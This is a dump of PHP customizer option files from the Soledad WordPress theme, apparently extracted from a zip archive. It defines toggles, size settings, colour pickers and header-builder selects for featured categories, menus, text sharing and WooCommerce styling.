	'id'       => 'penci_move_latest_posts_above',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Remove Border Bottom Between Post Items', 'soledad' ),
	'id'       => 'penci_feacat_rmborder',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Enable Post Meta Overlay Featured Image for Featured Category Style 7', 'soledad' ),
	'id'       => 'penci_home_featured_cat_overlay7',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Show Thumbnail for Small Posts on Featured Category Style 15', 'soledad' ),
	'id'       => 'penci_home_thumbnail15',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => '60',
	'sanitize' => 'absint',
	'type'     => 'soledad-fw-size',
	'label'    => __( 'Custom Space Between Featured Categories', 'soledad' ),
	'id'       => 'penci_featured_cat_margin',
	'ids'      => array(
		'desktop' => 'penci_featured_cat_margin',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 2000,
			'step'    => 1,
			'edit'    => true,
			'unit'    => 'px',
			'default' => '60',
		),
	),
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'absint',
	'type'     => 'soledad-fw-size',
	'label'    => __( 'Custom Image Width on Small Posts', 'soledad' ),
	'id'       => 'penci_featured_cat_imgwidth',
	'ids'      => array(
		'desktop' => 'penci_featured_cat_imgwidth',
	),
	'choices'  => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 2000,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Hide Post Author on Featured Categories', 'soledad' ),
	'id'       => 'penci_home_featured_cat_author',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'     => false,
	'sanitize'    => 'penci_sanitize_checkbox_field',
	'label'       => __( 'Show Post Author on Small Posts', 'soledad' ),
	'description' => __( 'You can check <a class="wp-customizer-link" href="https://imgresources.s3.amazonaws.com/small-posts.png" target="_blank">this image</a> to know where is the "Small Posts"', 'soledad' ),
	'id'          => 'penci_home_cat_author_sposts',
	'type'        => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Hide Post Date on Featured Categories', 'soledad' ),
	'id'       => 'penci_home_featured_cat_date',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Show Comment Count on Featured Categories', 'soledad' ),
	'id'       => 'penci_home_featured_cat_comment',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Show Views Count on Featured Categories', 'soledad' ),
	'id'       => 'penci_home_cat_views',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Hide Reading Time on Featured Categories', 'soledad' ),
	'id'       => 'penci_home_cat_readtime',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Enable Post Format Icons on Featured Categories', 'soledad' ),
	'id'       => 'penci_home_featured_cat_icons',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Enable "View All" link for Featured Categories', 'soledad' ),
	'id'       => 'penci_home_featured_cat_seemore',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Remove arrow on "View All"', 'soledad' ),
	'id'       => 'penci_home_featured_cat_remove_arrow',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Make "View All" is A Button', 'soledad' ),
	'id'       => 'penci_home_featured_cat_readmore_button',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => 'left',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Align "View All" Button', 'soledad' ),
	'id'       => 'penci_home_featured_cat_readmore_align',
	'type'     => 'soledad-fw-select',
	'choices'  => array(
		'left'   => esc_html__( 'Left', 'soledad' ),
		'center' => esc_html__( 'Center', 'soledad' ),
		'right'  => esc_html__( 'Right', 'soledad' )
	)
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Remove Posts Excerpt on Featured Categories', 'soledad' ),
	'id'       => 'penci_home_featured_cat_remove_excerpt',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Disable Autoplay for Sliders on Style 4, 5, 12', 'soledad' ),
	'id'       => 'penci_home_featured_cat_autoplay',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => '5',
	'sanitize' => 'absint',
	'type'     => 'soledad-fw-size',
	'label'    => __( 'Amount of Posts Display on Style 1', 'soledad' ),
	'id'       => 'penci_home_featured_posts_numbers_1',
	'ids'      => array(
		'desktop' => 'penci_home_featured_posts_numbers_1',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 100,
			'step'    => 1,
			'edit'    => true,
			'unit'    => '',
			'default' => '5',
		),
	),
);
$options[] = array(
	'default'  => '4',
	'sanitize' => 'absint',
	'type'     => 'soledad-fw-size',
	'label'    => __( 'Amount of Posts Display on Style 2', 'soledad' ),
	'id'       => 'penci_home_featured_posts_numbers_2',
	'ids'      => array(
		'desktop' => 'penci_home_featured_posts_numbers_2',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 100,
			'step'    => 1,
			'edit'    => true,
			'unit'    => '',
			'default' => '4',
		),
	),
);
$options[] = array(
	'default'  => '4',
	'sanitize' => 'absint',
	'type'     => 'soledad-fw-size',
	'label'    => __( 'Amount of Posts Display on Style 3', 'soledad' ),
	'id'       => 'penci_home_featured_posts_numbers_3',
	'ids'      => array(
		'desktop' => 'penci_home_featured_posts_numbers_3',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 100,
			'step'    => 1,
			'edit'    => true,
			'unit'    => '',
			'default' => '4',
		),
	),
);
$options[] = array(
	'default'  => '6',
	'sanitize' => 'absint',
	'type'     => 'soledad-fw-size',
	'label'    => __( 'Amount of Posts Display on Style 4', 'soledad' ),
	'id'       => 'penci_home_featured_posts_numbers_4',
	'ids'      => array(
		'desktop' => 'penci_home_featured_posts_numbers_4',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 100,
			'step'    => 1,
			'edit'    => true,
			'unit'    => '',
			'default' => '6',
		),
	),
);
$options[] = array(
	'default'  => '6',
	'sanitize' => 'absint',
	'type'     => 'soledad-fw-size',
	'label'    => __( 'Amount of Posts Display on Style 5', 'soledad' ),
	'id'       => 'penci_home_featured_posts_numbers_5',
	'ids'      => array(
		'desktop' => 'penci_home_featured_posts_numbers_5',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 100,
			'step'    => 1,
			'edit'    => true,
			'unit'    => '',
			'default' => '6',
		),
	),
);
$options[] = array(
	'default'  => '5',
	'sanitize' => 'absint',
	'type'     => 'soledad-fw-size',
	'label'    => __( 'Amount of Posts Display on Style 6', 'soledad' ),
	'id'       => 'penci_home_featured_posts_numbers_6',
	'ids'      => array(
		'desktop' => 'penci_home_featured_posts_numbers_6',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 100,
			'step'    => 1,
			'edit'    => true,
			'unit'    => '',
			'default' => '5',
		),
	),
);
$options[] = array(
	'default'  => '6',
	'sanitize' => 'absint',
	'type'     => 'soledad-fw-size',
	'label'    => __( 'Amount of Posts Display on Style 7', 'soledad' ),
	'id'       => 'penci_home_featured_posts_numbers_7',
	'ids'      => array(
		'desktop' => 'penci_home_featured_posts_numbers_7',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 100,
			'step'    => 1,
			'edit'    => true,
			'unit'    => '',
			'default' => '6',
		),
	),
);
$options[] = array(
	'default'  => '3',
	'sanitize' => 'absint',
	'type'     => 'soledad-fw-size',
	'label'    => __( 'Amount of Posts Display on Style 8', 'soledad' ),
	'id'       => 'penci_home_featured_posts_numbers_8',
	'ids'      => array(
		'desktop' => 'penci_home_featured_posts_numbers_8',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 100,
			'step'    => 1,
			'edit'    => true,
			'unit'    => '',
			'default' => '3',
		),
	),
);
$options[] = array(
	'default'  => '8',
	'sanitize' => 'absint',
	'type'     => 'soledad-fw-size',
	'label'    => __( 'Amount of Posts Display on Style 9', 'soledad' ),
	'id'       => 'penci_home_featured_posts_numbers_9',
	'ids'      => array(
		'desktop' => 'penci_home_featured_posts_numbers_9',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 100,
			'step'    => 1,
			'edit'    => true,
			'unit'    => '',
			'default' => '8',
		),
	),
);
$options[] = array(
	'default'  => '6',
	'sanitize' => 'absint',
	'type'     => 'soledad-fw-size',
	'label'    => __( 'Amount of Posts Display on Style 10', 'soledad' ),
	'id'       => 'penci_home_featured_posts_numbers_10',
	'ids'      => array(
		'desktop' => 'penci_home_featured_posts_numbers_10',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 100,
			'step'    => 1,
			'edit'    => true,
			'unit'    => '',
			'default' => '6',
		),
	),
);
$options[] = array(
	'default'  => '4',
	'sanitize' => 'absint',
	'type'     => 'soledad-fw-size',
	'label'    => __( 'Amount of Posts Display on Style 11', 'soledad' ),
	'id'       => 'penci_home_featured_posts_numbers_11',
	'ids'      => array(
		'desktop' => 'penci_home_featured_posts_numbers_11',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 100,
			'step'    => 1,
			'edit'    => true,
			'unit'    => '',
			'default' => '4',
		),
	),
);
$options[] = array(
	'default'  => '6',
	'sanitize' => 'absint',
	'type'     => 'soledad-fw-size',
	'label'    => __( 'Amount of Posts Display on Style 12', 'soledad' ),
	'id'       => 'penci_home_featured_posts_numbers_12',
	'ids'      => array(
		'desktop' => 'penci_home_featured_posts_numbers_12',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 100,
			'step'    => 1,
			'edit'    => true,
			'unit'    => '',
			'default' => '6',
		),
	),
);
$options[] = array(
	'default'  => '6',
	'sanitize' => 'absint',
	'type'     => 'soledad-fw-size',
	'label'    => __( 'Amount of Posts Display on Style 13', 'soledad' ),
	'id'       => 'penci_home_featured_posts_numbers_13',
	'ids'      => array(
		'desktop' => 'penci_home_featured_posts_numbers_13',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 100,
			'step'    => 1,
			'edit'    => true,
			'unit'    => '',
			'default' => '6',
		),
	),
);
$options[] = array(
	'default'  => '6',
	'sanitize' => 'absint',
	'type'     => 'soledad-fw-size',
	'label'    => __( 'Amount of Posts Display on Style 14', 'soledad' ),
	'id'       => 'penci_home_featured_posts_numbers_14',
	'ids'      => array(
		'desktop' => 'penci_home_featured_posts_numbers_14',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 100,
			'step'    => 1,
			'edit'    => true,
			'unit'    => '',
			'default' => '6',
		),
	),
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'absint',
	'type'     => 'soledad-fw-size',
	'label'    => __( 'Amount of Posts Display on Style 15', 'soledad' ),
	'id'       => 'penci_home_featured_posts_numbers_15',
	'ids'      => array(
		'desktop' => 'penci_home_featured_posts_numbers_15',
	),
	'choices'  => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => '',
		),
	),
);

return $options;
PK     0w\Eb    <  customizer/config/sections/penci_menu_hbg_colors_section.phpnu [        <?php
$options   = [];
$options[] = array(
	'sanitize' => 'sanitize_text_field',
	'label'    => esc_html__( 'General Colors', 'soledad' ),
	'id'       => 'penci_hmhbg_general_color',
	'type'     => 'soledad-fw-header',
);

$options_color_menu_hbg1 = array(
	'penci_mhbg_icon_toggle_color'   => esc_html__( 'Menu Hamburger Icon Color on Horizontal Navigation', 'soledad' ),
	'penci_mhbg_icon_toggle_hcolor'  => esc_html__( 'Menu Hamburger Icon Hover Color on Horizontal Navigation', 'soledad' ),
	'penci_mhbg_mobilebgcl'          => esc_html__( 'Mobile Bars Icon Background Color( for Vertical Navigation )', 'soledad' ),
	'penci_mhbg_mobilecl'            => esc_html__( 'Mobile Bars Icon Color( for Vertical Navigation )', 'soledad' ),
	'penci_mhbg_bgcolor'             => esc_html__( 'Background Color', 'soledad' ),
	'penci_mhbg_textcolor'           => esc_html__( 'General Text Color', 'soledad' ),
	'penci_mhbg_closecolor'          => esc_html__( 'Menu Hamburger Close Icon Color', 'soledad' ),
	'penci_mhbg_closehover'          => esc_html__( 'Menu Hamburger Close Icon Hover Color', 'soledad' ),
	'penci_mhbg_bordercolor'         => esc_html__( 'General Border Color', 'soledad' ),
	'penci_mhbgtitle_color'          => esc_html__( 'Site Title Color', 'soledad' ),
	'penci_mhbgdesc_hcolor'          => esc_html__( 'Site Description Color', 'soledad' ),
	'penci_mhbg_search_border'       => esc_html__( 'Custom Border Colors for Search Box', 'soledad' ),
	'penci_mhbg_search_border_hover' => esc_html__( 'Custom Border Colors for Search Box on Focus', 'soledad' ),
	'penci_mhbg_search_color'        => esc_html__( 'Custom Text Colors for Search Box', 'soledad' ),
	'penci_mhbg_search_icon'         => esc_html__( 'Custom Colors for Search Icon', 'soledad' ),
	'penci_mhbgaccent_color'         => esc_html__( 'Accent Color', 'soledad' ),
	'penci_mhbgaccent_hover_color'   => esc_html__( 'Accent Hover Color', 'soledad' ),
	'penci_mhbgfooter_color'         => esc_html__( 'Footer Text Color', 'soledad' ),
	'penci_mhbgicon_color'           => esc_html__( 'Social Icons Color', 'soledad' ),
	'penci_mhbgicon_hover_color'     => esc_html__( 'Social Icons Hover Color', 'soledad' ),
	'penci_mhbgicon_border'          => esc_html__( 'Social Icons Border Color', 'soledad' ),
	'penci_mhbgicon_border_hover'    => esc_html__( 'Social Icons Border Hover Color', 'soledad' ),
	'penci_mhbgicon_bg'              => esc_html__( 'Social Icons Background Color', 'soledad' ),
	'penci_mhbgicon_bg_hover'        => esc_html__( 'Social Icons Background Hover Color', 'soledad' ),
);

foreach ( $options_color_menu_hbg1 as $key => $label ) {
	$options[] = array(
		'sanitize' => 'sanitize_hex_color',
		'type'     => 'soledad-fw-color',
		'label'    => $label,
		'id'       => $key,
	);
}

$options[] = array(
	'sanitize' => 'sanitize_text_field',
	'label'    => esc_html__( 'Widgets Colors', 'soledad' ),
	'id'       => 'penci_hmhbg_widgets_color',
	'type'     => 'soledad-fw-header',
);

$options_color_menu_hbg2 = array(
	'penci_mhwidget_heading_bg'           => esc_html__( 'Widget Heading Background Color', 'soledad' ),
	'penci_mhwidget_heading_outer_bg'     => esc_html__( 'Widget Heading Background Outer Color', 'soledad' ),
	'penci_mhwidget_heading_bcolor'       => esc_html__( 'Sidebar Widget Heading Border Color', 'soledad' ),
	'penci_mhwidget_heading_binner_color' => esc_html__( 'Widget Heading Border Outer Color', 'soledad' ),
	'penci_mhwidget_heading_bcolor5'      => esc_html__( 'Custom Color for Border Bottom on Widget Heading Style 5', 'soledad' ),
	'penci_mhwidget_heading_bcolor7'      => esc_html__( 'Custom Color for Small Border Bottom on Widget Heading Style 7 & Style 8', 'soledad' ),
	'penci_mhwidget_bordertop_color10'    => esc_html__( 'Custom Color for Border Top on Widget Heading Style 10', 'soledad' ),
	'penci_mhwidget_shapes_color'         => esc_html__( 'Custom Shapes Background Color on Widget Heading Styles 11, 12, 13', 'soledad' ),
	'penci_mhwidget_bgstyle15'            => esc_html__( 'Background Color for Icon on Style 15', 'soledad' ),
	'penci_mhwidget_iconstyle15'          => esc_html__( 'Icon Color on Style 15', 'soledad' ),
	'penci_mhwidget_cllines'              => esc_html__( 'Color for Lines on Styles 18, 19, 20', 'soledad' ),
	'penci_mhwidget_heading_color'        => esc_html__( 'Widget Heading Text Color', 'soledad' ),
);

foreach ( $options_color_menu_hbg2 as $key => $label ) {
	$options[] = array(
		'sanitize' => 'sanitize_hex_color',
		'type'     => 'soledad-fw-color',
		'label'    => $label,
		'id'       => $key,
	);
}

return $options;
PK     0w\4V	  	  A  customizer/config/sections/penci_section_select_share_section.phpnu [        <?php
$options = [];

$options[] = array(
    'id'       => 'penci_textshare_header_01',
    'label'    => __('General Settings', 'soledad'),
    'type'     => 'soledad-fw-header',
);

$options[] = array(
    'id'       => 'penci_textshare_enable',
    'default'  => false,
    'sanitize' => 'penci_sanitize_checkbox_field',
    'label'    => __('Enable Share Selection Text  ', 'soledad'),
    'type'     => 'soledad-fw-toggle',
);

$options[] = array(
    'id'       => 'penci_textshare_services',
    'default'  => 'facebook,twitter',
    'sanitize' => 'penci_sanitize_checkbox_field',
    'label'    => __('Enable Share Services  ', 'soledad'),
    'type'     => 'soledad-fw-multi-check',
    'choices' => [
        'facebook' => ['name'=>__('Facebook', 'soledad'),'value'=>'facebook'],
        'twitter' => ['name'=>__('Twitter', 'soledad'),'value'=>'facebook'],
        'likedin' => ['name'=>__('LikedIn', 'soledad'),'value'=>'likedin'],
        'whatsapp' => ['name'=>__('Whatsapp', 'soledad'),'value'=>'whatsapp'],
        'telegram' => ['name'=>__('Telegram', 'soledad'),'value'=>'telegram'],
        'copy'     => ['name'=>__('Copy Button', 'soledad'),'value'=>'copy'],
    ],
);

$options[] = array(
    'label'       => esc_attr__( 'Facebook App ID', 'soledad' ),
    'id'          => 'penci_fbappid',
    'type'        => 'soledad-fw-text',
    'default'     => '',
    'sanitize'    => 'sanitize_text_field',
    'description' => __( 'When you use "Facebook" share text, it required an Facebook APP ID to make it works. You can <a target="_blank" href="https://developers.facebook.com/apps">get it here</a>.', 'soledad' ),
);

$options[] = array(
    'id'       => 'penci_textshare_header_02',
    'label'    => __('Colors', 'soledad'),
    'type'     => 'soledad-fw-header',
);

$options[] = array(
    'id'       => 'penci_textshare_bgcolor',
    'label'    => __('Popup Background Color', 'soledad'),
    'type'     => 'soledad-fw-color',
);

$options[] = array(
    'id'       => 'penci_textshare_txtcolor',
    'label'    => __('Popup Text Color', 'soledad'),
    'type'     => 'soledad-fw-color',
);

$options[] = array(
    'id'       => 'penci_textshare_selection_bgcolor',
    'label'    => __('Selection Text Background Color', 'soledad'),
    'type'     => 'soledad-fw-color',
);

$options[] = array(
    'id'       => 'penci_textshare_selection_txtcolor',
    'label'    => __('Selection Text Color', 'soledad'),
    'type'     => 'soledad-fw-color',
);


return $options;
PK     0w\}9G    <  customizer/config/sections/penci_builder_general_section.phpnu [        <?php

$header_options     = [];
$header_options[''] = __( '- Select -', 'soledad' );
$header_layouts     = get_posts( [
	'post_type'      => 'penci_builder',
	'posts_per_page' => - 1,
] );
foreach ( $header_layouts as $header_builder ) {
	$header_options[ $header_builder->post_name ] = $header_builder->post_title;
}

$header_block_options     = [];
$header_block_options[''] = __( '- Select -', 'soledad' );
$builder_layouts          = get_posts( [
	'post_type'      => 'penci-block',
	'posts_per_page' => - 1,
] );
foreach ( $builder_layouts as $builder_builder ) {
	$header_block_options[ $builder_builder->post_name ] = $builder_builder->post_title;
}

$options = [];

$options[] = array(
	'id'      => 'pchdbd_df_title',
	'default' => '',
	'type'    => 'soledad-fw-header',
	'label'   => esc_html__( 'Soledad Header Builder', 'soledad' ),
);
$options[] = array(
	'id'       => 'pchdbd_all',
	'default'  => '',
	'sanitize' => 'penci_sanitize_choices_field',
	'type'     => 'soledad-fw-select',
	'label'    => esc_html__( 'General Header Builder for All Pages', 'soledad' ),
	'choices'  => $header_options,
);

$options[] = array(
	'id'       => 'pchdbd_homepage',
	'default'  => '',
	'sanitize' => 'penci_sanitize_choices_field',
	'type'     => 'soledad-fw-select',
	'label'    => esc_html__( 'Header Builder for Homepage', 'soledad' ),
	'choices'  => $header_options,
);

$options[] = array(
	'id'       => 'pchdbd_archive',
	'default'  => '',
	'sanitize' => 'penci_sanitize_choices_field',
	'type'     => 'soledad-fw-select',
	'label'    => esc_html__( 'Header Builder for Category,Tag, Search, Archive Pages', 'soledad' ),
	'choices'  => $header_options,
);

$options[] = array(
	'id'       => 'pchdbd_post',
	'default'  => '',
	'sanitize' => 'penci_sanitize_choices_field',
	'type'     => 'soledad-fw-select',
	'label'    => esc_html__( 'Header Builder for Single Post Pages', 'soledad' ),
	'choices'  => $header_options,
);

$options[] = array(
	'id'       => 'pchdbd_page',
	'default'  => '',
	'sanitize' => 'penci_sanitize_choices_field',
	'type'     => 'soledad-fw-select',
	'label'    => esc_html__( 'Header Builder for Pages', 'soledad' ),
	'choices'  => $header_options,
);
if ( class_exists( 'WooCommerce' ) ) {
	$options[] = array(
		'id'       => 'pchdbd_woocommerce',
		'default'  => '',
		'sanitize' => 'penci_sanitize_choices_field',
		'type'     => 'soledad-fw-select',
		'label'    => esc_html__( 'Header Builder for WooCommerce', 'soledad' ),
		'choices'  => $header_options,
	);
}
$options[] = array(
	'id'      => 'pchdbd_el_title',
	'default' => '',
	'type'    => 'soledad-fw-header',
	'label'   => esc_html__( 'Penci Block Header Builder', 'soledad' ),
	'description'   => esc_html__( 'The options below will overwrite all the header layouts you have selected above.', 'soledad' ),
);
$options[] = array(
	'id'       => 'pchdbd_block_all',
	'default'  => '',
	'sanitize' => 'penci_sanitize_choices_field',
	'type'     => 'soledad-fw-select',
	'label'    => esc_html__( 'General Header Builder for All Pages', 'soledad' ),
	'choices'  => $header_block_options,
);

$options[] = array(
	'id'       => 'pchdbd_block_homepage',
	'default'  => '',
	'sanitize' => 'penci_sanitize_choices_field',
	'type'     => 'soledad-fw-select',
	'label'    => esc_html__( 'Header Builder for Homepage', 'soledad' ),
	'choices'  => $header_block_options,
);

$options[] = array(
	'id'       => 'pchdbd_block_archive',
	'default'  => '',
	'sanitize' => 'penci_sanitize_choices_field',
	'type'     => 'soledad-fw-select',
	'label'    => esc_html__( 'Header Builder for Category,Tag, Search, Archive Pages', 'soledad' ),
	'choices'  => $header_block_options,
);

$options[] = array(
	'id'       => 'pchdbd_block_post',
	'default'  => '',
	'sanitize' => 'penci_sanitize_choices_field',
	'type'     => 'soledad-fw-select',
	'label'    => esc_html__( 'Header Builder for Single Post Pages', 'soledad' ),
	'choices'  => $header_block_options,
);

$options[] = array(
	'id'       => 'pchdbd_block_page',
	'default'  => '',
	'sanitize' => 'penci_sanitize_choices_field',
	'type'     => 'soledad-fw-select',
	'label'    => esc_html__( 'Header Builder for Pages', 'soledad' ),
	'choices'  => $header_block_options,
);
if ( class_exists( 'WooCommerce' ) ) {
	$options[] = array(
		'id'       => 'pchdbd_block_woocommerce',
		'default'  => '',
		'sanitize' => 'penci_sanitize_choices_field',
		'type'     => 'soledad-fw-select',
		'label'    => esc_html__( 'Header Builder for WooCommerce', 'soledad' ),
		'choices'  => $header_block_options,
	);
}

return $options;
PK     0w\Qx  x  F  customizer/config/sections/pencidesign_woo_colors_settings_section.phpnu [        <?php
$options   = [];
$options[] = array(
	'sanitize' => 'sanitize_text_field',
	'label'    => esc_html__( 'Side Cart Style', 'soledad' ),
	'id'       => 'penci_woo_section_sidebarcart_color',
	'type'     => 'soledad-fw-header',
);
$options[] = array(
	'id'       => 'penci_woo_sidecart_bg_color',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Background Color', 'soledad' ),
);
$options[] = array(
	'id'       => 'penci_woo_sidecart_heading_bg_color',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Heading Background Color', 'soledad' ),
);
$options[] = array(
	'id'       => 'penci_woo_sidecart_heading_txt_color',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Heading Color', 'soledad' ),
);
$options[] = array(
	'id'       => 'penci_woo_sidecart_product_title_color',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Product Title Color', 'soledad' ),
);
$options[] = array(
	'id'       => 'penci_woo_sidecart_product_title_hover_color',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Product Title Hover Color', 'soledad' ),
);
$options[] = array(
	'id'       => 'penci_woo_sidecart_border_color',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Border Color', 'soledad' ),
);
$options[] = array(
	'id'       => 'penci_woo_sidecart_price_color',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Price Color', 'soledad' ),
);
$options[] = array(
	'id'       => 'penci_woo_sidecart_pitem_bg_color',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Product Item Background Color', 'soledad' ),
);
$options[] = array(
	'id'       => 'penci_woo_sidecart_pitem_bg_hover_color',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Product Item Hover Background Color', 'soledad' ),
);
$options[] = array(
	'id'       => 'penci_woo_sidecart_pitem_bg_text_color',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Product Item Hover Text Color', 'soledad' ),
);
$options[] = array(
	'id'       => 'penci_woo_sidecart_accent_color',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Accent Color', 'soledad' ),
);
$options[] = array(
	'id'       => 'penci_woo_sidecart_heading_color',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Heading Color', 'soledad' ),
);
$options[] = array(
	'id'       => 'penci_woo_sidecart_btn_color',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Button Background Color', 'soledad' ),
);
$options[] = array(
	'id'       => 'penci_woo_sidecart_btn_text_color',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Button Text Color', 'soledad' ),
);
$options[] = array(
	'id'       => 'penci_woo_sidecart_btn_hover_color',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Button Background Hover Color', 'soledad' ),
);
$options[] = array(
	'id'       => 'penci_woo_sidecart_btn_text_hover_color',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Button Text Hover Color', 'soledad' ),
);
$options[] = array(
	'id'       => 'penci_woo_sidecart_footer_bgcolor',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Footer Background Color', 'soledad' ),
);
/* Product Item*/
$options[] = array(
	'sanitize' => 'sanitize_text_field',
	'label'    => esc_html__( 'Product Item Style', 'soledad' ),
	'id'       => 'penci_woo_section_product_color_loop',
	'type'     => 'soledad-fw-header',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Product Item Title', 'soledad' ),
	'id'       => 'penci_woo_product_loop_title_color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Product Item Price Color', 'soledad' ),
	'id'       => 'penci_woo_product_loop_price_color',
);
$options[] = array(
	'id'       => 'penci_woo_product_loop_cat_color',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Product Item Cat Color', 'soledad' ),
);
$options[] = array(
	'id'       => 'penci_woo_product_loop_cat_hover_color',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Product Item Cat Hover Color', 'soledad' ),
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Product Item Button Group Background Color', 'soledad' ),
	'id'       => 'penci_woo_product_loop_button_groups_bgcolor',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Product Item Button Color', 'soledad' ),
	'id'       => 'penci_woo_product_loop_button_color',
);
$options[] = array(
	'id'       => 'penci_woo_product_loop_button_hover_color',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Product Item Button Hover Color', 'soledad' ),
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Product Item Button Background Color', 'soledad' ),
	'id'       => 'penci_woo_product_loop_button_bg_color',
);
$options[] = array(
	'id'       => 'penci_woo_product_loop_button_bg_hover_color',
